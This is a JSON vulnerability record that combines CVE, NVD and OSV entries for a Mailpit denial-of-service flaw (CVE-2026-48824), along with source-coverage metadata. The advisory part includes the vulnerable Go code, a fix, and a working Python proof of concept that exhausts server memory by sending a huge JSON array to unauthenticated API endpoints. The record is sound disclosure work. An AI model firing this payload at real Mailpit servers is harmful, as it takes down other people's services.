{"id":"GO-2026-5868","revision":null,"records":[{"revision":"4187d52898854139ab431d400010df2e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48824","aliases":[],"title":"Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)","description":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. Version 1.30.1 contains a patch.","state":0,"publishedAt":"2026-07-20T15:02:52.107+00:00","modifiedAt":"2026-07-20T19:07:58.952+00:00","affected":[{"ecosystem":"Vendor product","name":"mailpit","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axllent\",\n                    \"product\": \"mailpit\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.30.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r","https://github.com/axllent/mailpit/releases/tag/v1.30.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48824","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48824","identifiers":["CVE-2026-48824"]},"retained":false,"historicalAffected":[]},{"revision":"0cad1edde0b44a559021133d4b66669a","observedAt":"2026-10-25T12:17:32.273+00:00","statement":{"source":"nvd","id":"CVE-2026-48824","aliases":[],"title":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") w…","description":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. Version 1.30.1 contains a patch.","state":0,"publishedAt":"2026-07-20T16:17:03.08+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/axllent/mailpit/releases/tag/v1.30.1","https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48824","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-20T16:17:03.080","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48824","identifiers":["CVE-2026-48824"]},"retained":false,"historicalAffected":[]},{"revision":"2ccb1b9d524d461796716837d20db22d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-28pq-6qxg-wg5r","aliases":["CVE-2026-48824","GO-2026-5868"],"title":"Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)","description":"### Summary\n\nThe fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.\n\n### Affected versions\n\n- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).\n- All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.\n\n### Privilege required\n\nNone in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.\n\n### The incomplete fix\n\nCommit `136bdde` (\"Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)\", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:\n\n```go\n// server/apiv1/send.go:45-48\nif config.MaxMessageSize > 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\n\ndecoder := json.NewDecoder(r.Body)\n```\n\nThe sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:\n\n| File | Function | `MaxBytesReader`? | Unauth in default deploy? |\n|---|---|---|---|\n| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |\n| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |\n| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |\n| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |\n| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |\n\nThe four sibling handlers all share the shape:\n\n```go\n// server/apiv1/messages.go:107-115 (SetReadStatus)\ndecoder := json.NewDecoder(r.Body)\n\nvar data struct {\n    Read   bool\n    IDs    []string\n    Search string\n}\n\nerr := decoder.Decode(&data)\n```\n\nNo `MaxBytesReader`, no body-size cap, no `r.Header.Get(\"Content-Length\")` check. The `json.NewDecoder` streams the body but each `\"x\"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.\n\n### Vulnerable code\n\n`server/apiv1/messages.go:107`:\n\n```go\nfunc SetReadStatus(w http.ResponseWriter, r *http.Request) {\n    decoder := json.NewDecoder(r.Body)\n\n    var data struct {\n        Read   bool\n        IDs    []string\n        Search string\n    }\n\n    err := decoder.Decode(&data)\n    if err != nil {\n        httpError(w, err.Error())\n        return\n    }\n    // ...\n```\n\nThree other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.\n\n### Reachability chain (default deploy)\n\n```\nListen()                                  # config/config.go HTTPListen = \"[::]:8025\"\n   ↓\nHTTP server                               # server/server.go:177-186\n   ↓\nmiddleWareFunc(apiv1.SetReadStatus)       # server/server.go:178 — auth bypassed when UICredentials == nil\n   ↓\nSetReadStatus                             # server/apiv1/messages.go:87\n   ↓\njson.NewDecoder(r.Body).Decode(&data)    # no MaxBytesReader; allocates 4M Go strings + slice for {\"IDs\":[\"x\",...]}\n   ↓\nRSS grows ~28x relative to payload size\n```\n\n`config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.\n\n### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)\n\n```bash\n# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)\ndocker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest\n\n# 2) baseline RSS\ndocker stats mailpit-test --no-stream --format '{{.MemUsage}}'\n# → 8.473MiB / 5.772GiB\n\n# 3) trigger\npython3 - <<'PY'\nimport socket\nN = 4_000_000\nprefix = b'{\"Read\": true, \"IDs\": ['\nitems  = b'\"x\"' + (b',\"x\"' * (N - 1))\nsuffix = b']}'\nclen   = len(prefix) + len(items) + len(suffix)\ns = socket.create_connection((\"localhost\", 18025), timeout=300)\ns.sendall(\n    b\"PUT /api/v1/messages HTTP/1.1\\r\\n\"\n    b\"Host: localhost:18025\\r\\n\"\n    b\"Content-Type: application/json\\r\\n\"\n    b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n    b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nrem = items\nwhile rem:\n    s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]\ns.sendall(suffix)\ns.close()\nPY\n\n# 4) post-PoC RSS\ndocker stats mailpit-test --no-stream --format '{{.MemUsage}}'\n# → 455.8MiB / 5.772GiB\n```\n\nObserved: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.\n\nThe same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification.\n\n### Impact\n\n- **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.\n- **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`.\n- **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.\n\n### Suggested fix\n\nApply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites:\n\n```go\n// server/apiv1/messages.go:107  (SetReadStatus)\nif config.MaxMessageSize > 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\ndecoder := json.NewDecoder(r.Body)\n\n// server/apiv1/messages.go:187  (DeleteMessages) — same wrap\n// server/apiv1/tags.go:54       (SetMessageTags) — same wrap\n// server/apiv1/release.go:55    (ReleaseMessage)  — same wrap\n```\n\nA cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. \n\n### Credit\n\nReported by tonghuaroot.","state":0,"publishedAt":"2026-07-01T20:56:10+00:00","modifiedAt":"2026-09-02T23:45:04.6737459+00:00","affected":[{"ecosystem":"Go","name":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.30.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r","https://nvd.nist.gov/vuln/detail/CVE-2026-48824","https://github.com/axllent/mailpit","https://github.com/axllent/mailpit/releases/tag/v1.30.1"],"sourceUrl":"https://github.com/advisories/GHSA-28pq-6qxg-wg5r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-28pq-6qxg-wg5r","identifiers":["GHSA-28pq-6qxg-wg5r","CVE-2026-48824","GO-2026-5868"]},"retained":false,"historicalAffected":[]},{"revision":"933249996fd041bfaf6019d2112084bf","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5868","aliases":["CVE-2026-48824","GHSA-28pq-6qxg-wg5r"],"title":"Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw) in github.com/axllent/mailpit","description":"Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw) in github.com/axllent/mailpit","state":0,"publishedAt":"2026-07-07T15:26:37+00:00","modifiedAt":"2026-07-07T16:01:31.2496104+00:00","affected":[{"ecosystem":"Go","name":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.30.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5868","license":"OSV · upstream source license applies","key":"osv:GO-2026-5868","identifiers":["GO-2026-5868","CVE-2026-48824","GHSA-28pq-6qxg-wg5r"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T06:23:11.1755366+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T06:23:11.1755366+00:00","lastSuccessAt":"2026-10-27T06:23:11.3565583+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:11.3565593+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-d89028bfe484b9f2f1584c390248bf5d4aaf0d2d77cee1f0194aa28f589e2a1c","complete":true,"records":414861,"lastAttemptAt":"2026-10-27T06:23:10.0360294+00:00","lastSuccessAt":"2026-10-27T06:23:10.0059652+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:10.0360294+00:00","snapshotPublishedAt":"2026-10-27T05:33:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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No reader inventory is sent.","generation":"enrichment-aabec971d7d04375928662238d3061aa","complete":false,"records":13416,"lastAttemptAt":"2026-10-27T06:23:41.1678372+00:00","lastSuccessAt":"2026-10-27T06:23:41.164+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:41.164+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13077,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T06:23:10.673414+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:10.673414+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T06:23:10.0870813+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:10.0870813+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T06:23:11.0608384+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:11.0608384+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-27T06:23:10.5680382+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-27T06:23:10.5680382+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}